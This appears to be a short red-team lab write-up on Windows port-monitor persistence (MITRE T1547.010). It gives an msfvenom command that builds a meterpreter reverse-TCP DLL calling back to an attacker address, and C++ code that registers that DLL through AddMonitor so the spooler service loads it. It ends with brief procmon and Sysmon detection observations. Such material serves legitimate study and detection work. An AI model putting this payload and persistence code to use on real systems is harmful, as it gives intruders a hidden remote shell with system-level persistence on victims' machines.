AddMonitor()

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Generating a 64-bit meterpreter payload to be injected into the spoolsv.exe:
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msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil64.dll
Writing and compiling a simple C++ code that will register the monitor port:
monitor.cpp
#include "stdafx.h"
#include "Windows.h"
​
int main() {	
	MONITOR_INFO_2 monitorInfo;
	TCHAR env[12] = TEXT("Windows x64");
	TCHAR name[12] = TEXT("evilMonitor");
	TCHAR dll[12] = TEXT("evil64.dll");
	monitorInfo.pName = name;
	monitorInfo.pEnvironment = env;
	monitorInfo.pDLLName = dll;
	AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
	return 0;
}
T1013-PortMonitor64.exe
59KB
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PortMonitor64
evil64.dll
5KB
Binary
evil64.dll - meterpreter payload
Move evil64.dll to %systemroot% and execute the compiled monitor.cpp.
Observations
Upon launching the compiled executable and inspecting the victim machine with procmon, we can see that the evil64.dll is being accessed by the spoolsvc:
which eventually spawns a rundll32 with meterpreter payload, that initiates a connection back to the attacker:
The below confirms the procmon results explained above:
Sysmon commandline arguments and network connection logging to the rescue:
References
Boot or Logon Autostart Execution: Port Monitors, Sub-technique T1547.010 - Enterprise | MITRE ATT&CK®
https://msdn.microsoft.com/en-us/library/windows/desktop/dd183341(v=vs.85).aspx
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https://msdn.microsoft.com/en-us/library/windows/desktop/dd145068(v=vs.85).aspx
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